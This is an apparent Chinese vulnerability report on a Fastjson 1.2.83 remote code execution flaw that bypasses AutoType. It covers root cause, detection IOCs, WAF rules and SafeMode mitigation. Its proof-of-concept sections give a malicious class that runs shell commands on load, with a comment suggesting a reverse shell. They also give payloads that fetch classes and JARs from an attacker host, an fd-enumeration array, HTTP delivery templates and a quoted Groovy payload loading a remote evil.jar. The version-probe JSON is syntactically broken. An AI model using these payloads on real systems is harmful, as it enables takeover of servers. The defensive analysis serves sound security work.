Fastjson 1.2.83 “Gadget-Free“ RCE

Fastjson 1.2.83 "Gadget-Free" RCE 漏洞深度研究报告

漏洞编号:QVD-2026-43021 / 内部编号:FJ-GETRESOURCE-RCE

披露时间:2026-07-21

原始发现者:Kirill Firsov(@k_firsov)

危险等级:高危(满足部署条件时按严重处理)


目录

  1. 执行摘要
  2. 影响范围
  3. 漏洞根因分析
  4. 触发链路
  5. 利用链详解
  6. [完整 POC](#完整 POC)
  7. 环境差异与利用条件
  8. [检测与 IOC](#检测与 IOC)
  9. 修复与缓解
  10. 与历史漏洞对比

1. 执行摘要

本漏洞打破了以下三条业界普遍认知:

错误认知 实际情况
AutoType 默认关闭就安全 漏洞在 AutoType=false 默认状态下仍可触发
固定 parseObject 第二参数就安全 已验证固定 BoundEnvelope.class 仍 RCE-OK
classpath 没有已知 gadget 就安全 本漏洞不依赖任何本地 gadget

核心原理:ParserConfig.checkAutoType() 会把用户可控的 @type 值做 ./

替换后拼成 class 资源名,交给 ClassLoader.getResourceAsStream() 探测。

在 Spring Boot FatJar 的 LaunchedURLClassLoader 环境下,精心构造的类型名会被

解析为绝对 HTTP/JAR URL,触发远程 class 拉取 。攻击者提供的 class 只需带有

@JSONType 注解,即可绕过 Fastjson 后续所有安全检查,直接被加载执行。

已验证复现环境:

JDK ClassLoader Fastjson 结果
Temurin 8u492 Spring Boot Loader 2.7.18 1.2.83 RCE 成功
Temurin 17.0.19 Spring Boot Loader 3.2.0 1.2.83 RCE 成功
Temurin 21.0.11 Spring Boot Loader 3.2.0 1.2.83 RCE 成功
Temurin 25.0.3 Spring Boot Loader 3.2.0 1.2.83 RCE 成功

2. 影响范围

2.1 受影响版本

  • 核心受影响:Fastjson 1.2.66 ~ 1.2.83
  • 注:资源探测代码在 1.2.67/1.2.68 已存在,但完整跨 JDK 链仅在 1.2.83 完整验证

2.2 利用所需前置条件

必须满足(缺一不可):

  1. 攻击者可控制传入 Fastjson 的 JSON,且 @type 会被解析
  2. SafeMode 未启用(这是最关键的防御点)
  3. 加载 Fastjson 的 ClassLoader 能把绝对资源名解析为 URL(如 Spring Boot FatJar)
  4. 受害进程可以出网连接攻击端 HTTP 服务
  5. 现代 JDK 链额外需要 /proc/self/fd 可读(Linux)且 JVM 临时目录可写

不需要:

  • 目标 classpath 中的任何已知反序列化 gadget
  • 开启 AutoType
  • 控制 parseObject 第二个目标类型参数
  • 向目标文件系统写入文件

2.3 危险接口示例

java 复制代码
// 高危写法:未指定目标类型
@PostMapping("/parse")
public Object parse(@RequestBody String body) {
    return JSON.parse(body);  // 外部输入直接进入 Fastjson
}

2.4 复现构件哈希

复制代码
fastjson-1.2.83.jar
  SHA-256: 641a4d65ab32fbfdccd9c718e3f83ebc4caabdb5e4fe5b3d51527c5fe692631d
spring-boot-loader-2.7.18.jar
  SHA-256: 855d80b2d8afc9140036ab20dba5d9333ed427bb1562057265335b244b98ed16
spring-boot-loader-3.2.0.jar
  SHA-256: 84d7352ce2f264262afb0253b9b882b0abf56f7c371c7523a0b3f6401d9c831b

3. 漏洞根因分析

3.1 用户类型名被当作资源 URL(核心缺陷)

源码位置ParserConfig.java:1479-1498

java 复制代码
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
} else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

该逻辑假设 resource 只是普通 classpath 路径,没有限制协议、绝对路径语义或来源

对 Spring Boot FatJar 的 ClassLoader,以下输入会在替换后变成绝对 URL:

复制代码
输入 typeName:   http:..attacker.com.a
替换后 resource: http://attacker.com/a.class

getResourceAsStream() 从本地元数据查询越界为攻击者可控的网络资源加载

3.2 远程 class 的 @JSONType 被当作授权依据

Fastjson 使用自己的 ASM ClassReader 解析资源内容:

java 复制代码
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();  // 检查攻击者提供的字节,不是可信 classpath

攻击端只需让远程 class 带有 @JSONType 注解即可将 jsonType 置为 true

3.3 @JSONType 触发实际类加载

源码位置ParserConfig.java:1500-1503

java 复制代码
if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

TypeUtils.loadClass 依次尝试:显式 loader → 线程上下文 loader → Class.forName

在正向环境中,线程上下文 loader 再次解析相同绝对资源名、下载 class 并 defineClass

3.4 @JSONType 早返回绕过所有后续安全检查

源码位置ParserConfig.java:1505-1528

java 复制代码
if (clazz != null) {
    if (jsonType) {
        return clazz;  // <-- 直接返回!后续危险基类检查不执行
    }
    // 以下检查均被跳过:
    if (ClassLoader.class.isAssignableFrom(clazz) ||
        DataSource.class.isAssignableFrom(clazz) || ...) {
        throw new JSONException(...);
    }
    if (expectClass != null) {
        // expectClass.isAssignableFrom(clazz) 也被跳过
    }
}

远程 class 携带 @JSONType 后:危险基类检查、类型兼容性检查全部失效。

3.5 Exception 后缀形成失败软通道(跨 JDK 关键)

源码位置ParserConfig.java:1537-1542

java 复制代码
if (!autoTypeSupport) {
    if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
        return null;  // 软返回,JSON 解析继续
    }
    throw new JSONException("autoType is not support. " + typeName);
}

现代 JDK 第一阶段因非法内部类名加载失败时,让类型名以 Exception 结尾后,

Fastjson 不终止整个 JSON ,而是 return null,使解析器继续处理数组后续元素。

这一分支是单 payload 跨阶段执行的核心机制。

3.6 SafeMode 的位置(为什么有效)

SafeMode 检查位于资源访问之前ParserConfig.java:1325-1330),

因此启用 SafeMode 后网络请求不会发出。

但注意:AutoTypeCheckHandler 在 SafeMode 之前执行,自定义 handler 需单独审计。


4. 触发链路

复制代码
接收 JSON 请求(含 @type 字段)
        ↓
Fastjson JSON.parse() / JSON.parseObject()
        ↓
ParserConfig.checkAutoType()
        ↓
typeName.replace('.', '/') + ".class"  ← 点号替换为斜杠
        ↓
defaultClassLoader.getResourceAsStream(resource)
        ↓
  ┌─────────────────────────────────────────────────┐
  │ Spring Boot LaunchedURLClassLoader               │
  │ 识别绝对 URL 协议,发起远程 HTTP 请求            │
  └─────────────────────────────────────────────────┘
        ↓
攻击端返回带 @JSONType 注解的恶意 class 字节
        ↓
ASM ClassReader 扫描到 @JSONType → jsonType = true
        ↓
TypeUtils.loadClass(typeName, ...) 再次加载
        ↓
ClassLoader.defineClass() → 执行 <clinit> 静态初始化块
        ↓
恶意代码执行(RCE)

关键:整个链路中无需目标 classpath 中存在任何 gadget 类。


5. 利用链详解

5.1 点号替换问题(IP 地址处理)

Fastjson 执行 typeName.replace('.', '/') 会破坏 IPv4 地址中的点号:

复制代码
127.0.0.1  →  127/0/0/1(URL 损坏)

解决方案:将 IPv4 转为十进制整数

python 复制代码
import socket, struct
def ip_to_decimal(ip):
    return struct.unpack("!I", socket.inet_aton(ip))[0]

print(ip_to_decimal("127.0.0.1"))   # 输出: 2130706433
print(ip_to_decimal("192.168.1.1")) # 输出: 3232235777

因此 payload 中用 2130706433 代替 127.0.0.1,替换后不会被拆散。

5.2 JDK 8 链:直接远程 class 加载

payload 最短形式:

json 复制代码
{"@type": "http:..2130706433:18081.evil"}

转换链:

复制代码
typeName:  http:..2130706433:18081.evil
resource:  http://2130706433:18081/evil.class
内部名称:  http://2130706433:18081/evil

JDK 8 接受该非常规内部类名,LaunchedURLClassLoader 下载并完成 defineClass

恶意 <clinit> 执行命令。

限制:JDK 17+ 拒绝内部名中的空路径段,提示:

复制代码
ClassFormatError: Illegal class name "http://attacker/a"

5.3 现代 JDK 第一阶段:下载远程 JAR 到临时缓存

payload 首个元素:

json 复制代码
{"@type": "jar:http:..attacker:18081.x!.foo.Exception"}

转换结果:

复制代码
resource: jar:http://attacker:18081/x!/foo/Exception.class

sun.net.www.protocol.jar.URLJarFile.retrieve 创建 jar_cache* 临时文件,

将远程 JAR 复制到本地,打开 JarFile

缓存文件由 JVM 持有,攻击者无需知道随机临时文件名。

JDK 17+ 因 Exception 后缀软返回,Fastjson 继续解析数组下一元素。

5.4 现代 JDK 第二阶段:通过 /proc/self/fd 重开缓存 JAR

payload 后续候选元素示例:

json 复制代码
{"@type": "jar:file:.proc.self.fd.7!.fd7.Exception"},
{"@type": "jar:file:.proc.self.fd.8!.fd8.Exception"},
...
{"@type": "jar:file:.proc.self.fd.64!.fd64.Exception"}

转换链:

复制代码
typeName:  jar:file:.proc.self.fd.7!.fd7.Exception
resource:  jar:file:/proc/self/fd/7!/fd7/Exception.class
内部名称:  jar:file:/proc/self/fd/7!/fd7/Exception

http:// 不同,该内部名每个 / 分隔组件均非空,JVM 接受

攻击 JAR 为每个候选 FD 准备一个入口(fd3~fd64),每个 class 携带 @JSONType

命中实际缓存句柄的 FD 后,Fastjson 加载该 class,<clinit> 执行命令。

JDK 17 class-load 日志中首个命中示例:

复制代码
[class,load] jar:file:.proc.self.fd.7!.fd7.Exception

5.5 单 payload 兼容 JDK 8 与现代 JDK 的原理

复制代码
JDK 8 路径:
  第一阶段 jar:http://... class 直接加载并执行
  class 执行命令后主动抛出 RuntimeException("stage-one-stop")
  阻止 JDK 8 继续尝试 FD 枚举(避免误命中 socket/pipe FD)

JDK 17/21/25 路径:
  第一阶段因非法内部类名报 ClassFormatError,不触发主动异常
  Fastjson 因 Exception 后缀软返回,继续处理后续数组元素
  进入第二阶段 /proc/self/fd FD 枚举,找到缓存句柄执行

6. 完整 POC

6.1 恶意 class(攻击端准备)

java 复制代码
// EvilClass.java - 部署在攻击端 HTTP 服务
package fd7;  // 包名与 FD 路径对应

import com.alibaba.fastjson.annotation.JSONType;

@JSONType  // 关键:让 Fastjson ASM 扫描到注解,触发 loadClass
public class Exception extends java.lang.Exception {
    static {
        try {
            // 替换为实际命令,如反弹 shell
            Runtime.getRuntime().exec(new String[]{
                "/bin/bash", "-c",
                "touch /tmp/fastjson-getresource-rce"
            });
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

6.2 JDK 8 专用 POC(单条 payload)

json 复制代码
{"@type": "http:..2130706433:18081.evil"}

2130706433 替换为攻击端 IP 的十进制整数形式,18081 替换为端口。

6.3 跨 JDK 通用 payload(数组形式)

json 复制代码
[
  {"@type": "jar:http:..2130706433:18081.x!.foo.Exception"},
  {"@type": "jar:file:.proc.self.fd.3!.fd3.Exception"},
  {"@type": "jar:file:.proc.self.fd.4!.fd4.Exception"},
  {"@type": "jar:file:.proc.self.fd.5!.fd5.Exception"},
  {"@type": "jar:file:.proc.self.fd.6!.fd6.Exception"},
  {"@type": "jar:file:.proc.self.fd.7!.fd7.Exception"},
  {"@type": "jar:file:.proc.self.fd.8!.fd8.Exception"},
  {"@type": "jar:file:.proc.self.fd.9!.fd9.Exception"},
  {"@type": "jar:file:.proc.self.fd.10!.fd10.Exception"},
  {"@type": "jar:file:.proc.self.fd.11!.fd11.Exception"},
  {"@type": "jar:file:.proc.self.fd.12!.fd12.Exception"},
  {"@type": "jar:file:.proc.self.fd.13!.fd13.Exception"},
  {"@type": "jar:file:.proc.self.fd.14!.fd14.Exception"},
  {"@type": "jar:file:.proc.self.fd.15!.fd15.Exception"},
  {"@type": "jar:file:.proc.self.fd.16!.fd16.Exception"}
]

建议 FD 范围枚举至 fd64,覆盖大多数 JVM 进程打开的临时缓存句柄。

6.4 Burp Suite 投递模板

http 复制代码
POST /parse HTTP/1.1
Host: victim.example.com
Content-Type: application/json
Connection: close
Content-Length: <length>

[
  {"@type": "jar:http:..2130706433:18081.x!.foo.Exception"},
  {"@type": "jar:file:.proc.self.fd.7!.fd7.Exception"}
]

固定第二参数的接口包装方式(仍然有效):

http 复制代码
POST /api/user HTTP/1.1
Content-Type: application/json

{"value": [
  {"@type": "jar:http:..2130706433:18081.x!.foo.Exception"},
  {"@type": "jar:file:.proc.self.fd.7!.fd7.Exception"}
]}

6.5 版本探测 payload(判断是 1.2.80 还是 1.2.83)

json 复制代码
[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"{"address":, "val": "first.dnslog.cn"}
    }
  },
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"{"address":, "val": "second.dnslog.cn"}
    }
  }
]

收到两个 DNS 请求 → 1.2.83;收到一个 → 1.2.80。

6.6 ClassLoader 类型排查(判断是否可利用)

java 复制代码
// 应用启动时打印,判断 ClassLoader 类型
@PostConstruct
public void printClassLoader() {
    ClassLoader ctx = Thread.currentThread().getContextClassLoader();
    ClassLoader fj  = ParserConfig.getGlobalInstance().getDefaultClassLoader();
    System.out.println("contextClassLoader = " + ctx);
    System.out.println("fastjsonClassLoader = " + fj);
}

输出含 LaunchedURLClassLoader → 可能可利用;

输出 AppClassLoader → 普通场景,远程资源解析不触发。

6.7 IP 转十进制工具

python 复制代码
#!/usr/bin/env python3
import socket, struct, sys

def ip_to_decimal(ip: str) -> int:
    return struct.unpack("!I", socket.inet_aton(ip))[0]

if __name__ == "__main__":
    ip = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    dec = ip_to_decimal(ip)
    print(f"{ip} -> {dec}")
    print(f"payload: http:..{dec}:18081.evil")

6.8 参考 POC 仓库

复制代码
https://github.com/midisec/fastjson-1.2.83-gadget-rce

7. 环境差异与利用条件

7.1 各场景利用可行性

测试场景 HTTP 请求发出 命令执行 结论
AutoType=false(默认) 关闭 AutoType 不足以防御
固定 BoundEnvelope.class 固定第二参数不足以防御
SafeMode=true 有效阻断
普通 AppClassLoader 不解析绝对远程资源,安全
Spring Boot 2.7 + JDK 17 第一段有 第二段 jar:file:/proc/self/fd 未解析
Spring Boot 3.2 + JDK 17/21/25 完整现代链成立

7.2 JDK 版本影响

  • JDK 8 :接受非常规内部类名,jar:http://... 直接 class 加载,最易利用
  • JDK 17/21/25 :拒绝第一阶段非法名,但第二阶段 /proc/self/fd 链可绕过,需 Linux
  • macOS :使用 /dev/fd 也完成了 JDK 17/21/25 复现

7.3 打包方式影响

打包方式 ClassLoader 利用可行性
Spring Boot FatJar LaunchedURLClassLoader 高风险
传统 WAR 部署 AppClassLoader / Tomcat 通常无法触发远程资源加载
直接 java -cp 运行 AppClassLoader 通常安全

7.4 出网限制影响

  • 目标无法出网时,远程资源加载链路被直接切断,漏洞降级为SSRF/探测
  • 建议通过 DNSLOG 先确认目标是否出网

8. 检测与 IOC

8.1 请求侧特征

重点关注 JSON body 中解码后的 @type 值包含以下特征:

复制代码
http:..
jar:http:..
jar:file:.proc.self.fd.
jar:file:.dev.fd.
!.fd
Exception(结合数组 + FD 路径判断,单独出现不报警)
Unicode 绕过:@type 等价于 @type

8.2 网络侧特征(IDS/EDR)

  • JVM 进程向非预期主机请求无扩展名 JAR 或 .class 文件
  • 同一解析请求期间出现 1-3 次重复 GET/HEAD
  • 请求路径中出现 /x/a.class 或数字路径

8.3 主机侧特征

bash 复制代码
# 检查 JVM 临时目录异常文件
ls -la /tmp/jar_cache*
ls -la /var/tmp/jar_cache*

# 检查 Java 进程是否通过 /proc/self/fd 重新打开文件
lsof -p <java_pid> | grep "proc/self/fd"

# class-load 日志中的命中特征
-verbose:class | grep "jar:file:.proc.self.fd"

8.4 已知 IOC(payload 特征字符串)

复制代码
jar:file:.proc.self.fd.
jar:http:..
http:...*:18081
@JSONType

9. 修复与缓解

9.1 首选方案:迁移 Fastjson 2.x(高危)

xml 复制代码
<!-- Maven -->
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.57</version>
</dependency>

Fastjson 2.x 不再为兼容提供白名单,安全性大幅提升,但不完全兼容 1.x API。

9.2 立即应急:启用 SafeMode

代码方式(推荐):

java 复制代码
// 在 SpringBoot 启动最早阶段执行
ParserConfig.getGlobalInstance().setSafeMode(true);
java 复制代码
@SpringBootApplication
public class DemoApplication {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setSafeMode(true);  // 最先执行
        SpringApplication.run(DemoApplication.class, args);
    }
}

JVM 参数方式:

bash 复制代码
java -Dfastjson.parser.safeMode=true -jar app.jar

配置文件方式:

properties 复制代码
fastjson.parser.safeMode=true

⚠️ 启用 SafeMode 会完全禁用 AutoType,依赖多态反序列化的业务需做回归测试。

9.3 收紧解析入口

java 复制代码
// 危险:直接暴露 JSON.parse
return JSON.parse(body);

// 更安全:指定目标类型
return JSON.parseObject(body, UserDTO.class);

// 注意:仅固定第二参数仍不足以完全防御本漏洞,需配合 SafeMode

9.4 WAF 临时规则

复制代码
# 拦截 @type 字段(覆盖 Unicode 编码绕过)
# 明文
@type
# Unicode
@type
\x40type

# 拦截协议特征
jar:http:
jar:file:
http:..
.proc.self.fd.

WAF 只能作为缓解层,不能替代 SafeMode 或版本升级。

9.5 出网与运行时加固

bash 复制代码
# 禁止 JVM 访问非业务外部地址(iptables 示例)
iptables -A OUTPUT -m owner --uid-owner <java-user> -j DROP
iptables -A OUTPUT -m owner --uid-owner <java-user> -d <允许的IP段> -j ACCEPT

# 容器化场景限制网络策略(Kubernetes NetworkPolicy 示例)
# 只允许出口访问数据库等必要服务,拒绝任意外网

# 审计 ClassLoader 对绝对 URL 资源名的处理
# 在受信 ClassLoader 中拒绝 http:、jar:http:、jar:file:/proc 等协议

10. 与历史漏洞对比

漏洞/技术 影响版本 需要 gadget autoType 要求 核心机制
CVE-2017-18349 (1.2.24) ≤1.2.24 需要(JNDI) 需开启 无防护直接加载
CVE-2019-* (1.2.47) ≤1.2.47 需要(JNDI) 无需(cache 投毒) mappingTable 缓存绕过
CVE-2022-25845 (1.2.80) ≤1.2.80 需要(Throwable) 无需 Exception 派生类 setter
QVD-2026-43021 (1.2.83) 1.2.66~1.2.83 无需 无需 @JSONType 资源探测劫持

历史链路对比

CVE-2022-25845(1.2.80)核心 payload:

json 复制代码
{
  "@type": "java.lang.Exception",
  "@type": "org.codehaus.groovy.control.CompilationFailedException",
  "unit": {}
}

然后通过 Groovy 远程类加载实现 RCE:

json 复制代码
{
  "@type": "org.codehaus.groovy.control.ProcessingUnit",
  "@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config": {
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList": ["http://attacker:8080/evil.jar"]
  },
  "gcl": null,
  "destDir": "/tmp"
}

QVD-2026-43021(1.2.83)相比之下:

  • 不依赖 Groovy、aspectj、commons-io 等特定依赖库
  • 不依赖目标 classpath 中任何已知 gadget
  • 利用 Fastjson 自身资源探测逻辑,攻击面更广

参考资料


报告日期:2026-07-22 | 基于公开技术披露整理,仅供授权安全研究使用

相关推荐
意疏1 小时前
远程办公软件哪个安全性高?UU远程8项安全防线全覆盖
网络·安全
Draina1 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
牛马之星1 小时前
气体涡轮流量计如何维护
网络·经验分享
MonolithIoT2 小时前
实战方案|设备备件无人值守仓库:连续化产线运维备件 7×24 小时数字化管控方案
运维·网络·数据库
MartinYeung52 小时前
DC Scameter:一份反诈骗相关的专业分析报告
人工智能·安全
三8443 小时前
BGP/GRE练习
网络
●VON4 小时前
鸿蒙 PC Markdown 编辑器原生右键弹层兼容
安全·华为·编辑器·harmonyos·鸿蒙
念恒123064 小时前
网络基础
linux·网络·c++
白山云北诗4 小时前
漏洞扫描+渗透测试:从资产摸底到风险验证,完成二次安全收口
网络·安全·web安全·渗透测试·漏洞扫描·ddos防护·cc防护